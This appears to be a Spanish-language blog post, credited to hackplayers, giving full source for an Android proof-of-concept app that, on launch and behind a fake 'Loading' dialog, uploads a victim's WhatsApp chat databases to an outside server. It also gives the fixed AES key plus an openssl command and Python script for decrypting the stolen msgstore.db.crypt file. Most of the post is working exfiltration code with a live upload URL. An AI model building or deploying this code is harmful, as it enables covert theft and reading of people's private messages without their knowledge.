<pre class="prettyprint prettyprinted" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="bb.security.whatsappupload"
    android:versionCode="1"
    android:versionName="1.0" >
 
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INTERNET" />
 
    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="19" />
 
    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
 
        <activity
            android:name="bb.security.whatsappupload.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
 
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
 
</manifest></code></pre>


 Para la disposición podemos utilizar el diseño predeterminado que 
crea Eclipse, si acaso podemos mover el TextView al centro y aumentar el
 tamaño del texto. La subida del fichero ocurre antes de ver el layout, 
para esta prueba de concepto de este activity_main.xml es lo suficientemente bueno: 
<pre class="prettyprint prettyprinted" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context=".MainActivity" >
 
    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="179dp"
        android:text="@string/hello_world"
        android:textSize="24sp" />
 
</RelativeLayout></code></pre>


 A continuación tenemos que crear la función MainActivity.java para subir cada uno de los ficheros:     - /WhatsApp/Databases/msgstore.db     - /WhatsApp/Databases/wa.db     - /WhatsApp/Databases/msgstore.db.crypt 
<pre class="prettyprint prettyprinted" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; height: 400px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>package bb.security.whatsappupload;
 
/*
* This application is for testing purposes only.
* Use of this application is at your own risk.
*/
 
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
 
import android.os.AsyncTask;
import android.os.Bundle;
import android.os.Environment;
import android.app.Activity;
import android.app.ProgressDialog;
import android.util.Log;
import android.view.Menu;
 
public class MainActivity extends Activity {
 
    //A ProgressDialog object
    private ProgressDialog progressDialog;
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        new UploadWhatsApp().execute();
    }
 
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.main, menu);
        return true;
    }
 
    @SuppressWarnings("deprecation")
    private void uploadFile(String file) {
        HttpURLConnection conn = null;
        DataOutputStream dos = null;
        DataInputStream inStream = null;
 
        Log.i("FILE", "Filename:\n" + file);
 
        String lineEnd = "\r\n";
        String twoHyphens = "--";
        String boundary = "*****";
        int bytesRead, bytesAvailable, bufferSize;
        byte[] buffer;
        int maxBufferSize = 1 * 1024 * 1024 * 1024;
        String urlString = "http://bas.bosschert.nl/whatsapp/upload_wa.php";
        try {
            //     ------------------ CLIENT REQUEST
            FileInputStream fileInputStream = new FileInputStream(new File(
                    file));
            // open a URL connection to the Servlet
            URL url = new URL(urlString);
            // Open a HTTP connection to the URL
            conn = (HttpURLConnection) url.openConnection();
            // Allow Inputs
            conn.setDoInput(true);
            // Allow Outputs
            conn.setDoOutput(true);
            // Don't use a cached copy.
            conn.setUseCaches(false);
            // Use a post method.
            conn.setRequestMethod("POST");
            conn.setRequestProperty("Connection", "Keep-Alive");
            conn.setRequestProperty("Content-Type",
                    "multipart/form-data;boundary=" + boundary);
            dos = new DataOutputStream(conn.getOutputStream());
            dos.writeBytes(twoHyphens + boundary + lineEnd);
            dos.writeBytes("Content-Disposition: form-data; name=\"file\";filename=\""
                    + file + "\"" + lineEnd);
            dos.writeBytes(lineEnd);
            // create a buffer of maximum size
            bytesAvailable = fileInputStream.available();
            bufferSize = Math.min(bytesAvailable, maxBufferSize);
            buffer = new byte[bufferSize];
            // read file and write it into form...
            bytesRead = fileInputStream.read(buffer, 0, bufferSize);
            while (bytesRead > 0) {
                dos.write(buffer, 0, bufferSize);
                bytesAvailable = fileInputStream.available();
                bufferSize = Math.min(bytesAvailable, maxBufferSize);
                bytesRead = fileInputStream.read(buffer, 0, bufferSize);
            }
            // send multipart form data necesssary after file data...
            dos.writeBytes(lineEnd);
            dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
            // close streams
            Log.e("Debug", "File is written");
            fileInputStream.close();
            dos.flush();
            dos.close();
        } catch (MalformedURLException ex) {
            Log.e("Debug", "error: " + ex.getMessage(), ex);
        } catch (IOException ioe) {
            Log.e("Debug", "error: " + ioe.getMessage(), ioe);
        }
        // ------------------ read the SERVER RESPONSE
        try {
            if (conn != null){
                inStream = new DataInputStream(conn.getInputStream());
                String str;
 
                while ((str = inStream.readLine()) != null) {
                    Log.e("Debug", "Server Response " + str);
                }
                inStream.close();
            }
 
        } catch (IOException ioex) {
            Log.e("Debug", "error: " + ioex.getMessage(), ioex);
        }
    }
 
    private class UploadWhatsApp extends AsyncTask<Void, Integer, Void>{
 
        @Override
        protected void onPreExecute()
        {
            //Create a new progress dialog
            progressDialog = ProgressDialog.show(MainActivity.this,"Loading Application, please wait...",
                    "Loading, please wait...", false, false);
        }
 
        //The code to be executed in a background thread.
        @Override
        protected Void doInBackground(Void... params)
        {
 
            String fileWACrypt = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/msgstore.db.crypt";
            String fileWAPlain = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/msgstore.db";
            String fileWAwa = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/wa.db";
 
            MainActivity.this.uploadFile(fileWACrypt);
            MainActivity.this.uploadFile(fileWAPlain);
            MainActivity.this.uploadFile(fileWAwa);
            return null;
        }
 
        //Update the progress
        @Override
        protected void onProgressUpdate(Integer... values)
        {
            //set the current progress of the progress dialog
            progressDialog.setProgress(values[0]);
        }
 
        //after executing the code in the thread
        @Override
        protected void onPostExecute(Void result)
        {
            //close the progress dialog
            progressDialog.dismiss();
            //initialize the View
            setContentView(R.layout.activity_main);
        }
 
    }
}</code></pre>


    msgstore.db y wa.db son bases de datos sin cifrar utilizados en 
antiguas versiones de Whatsapp. Msgstore.db.crypt está cifrado con AES, 
pero siempre usando la misma clave tanto para cifrar como descifrar: 
346a23652a46392b4d73257c67317e352e3372482177652c. Por lo tanto podremos descifrarla una vez obtenido mediante: openssl enc -d -aes-192-ecb -in msgstore.db.crypt -out msgstore.db.sqlite -K 346a23652a46392b4d73257c67317e352e3372482177652c o mediante el siguiente script en Python: 
<pre class="prettyprint prettyprinted" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>#!/usr/bin/env python
 
import sys
from Crypto.Cipher import AES
 
try:
    wafile=sys.argv[1]
except:
    print "Usage: %s <msgstore.db.crypt>" % __file__
    sys.exit(1)
 
key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex')
cipher = AES.new(key,1)
open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))</code></pre>



  
Y ya está, así de sencillo. Podremos estar leyendo los chats de WhatsApp de las bases de datos extraídas... 
 
Fuente: <a href="http://www.hackplayers.com/2014/03/aplicacion-android-para-robar-y-leer-whatsapp.html" target="_blank">hackplayers</a>

¿Es posible subir y leer los chats de Whatsapp de un smartphone desde otra aplicación de Android? Por supuesto que sí. Sólo necesitamos qu...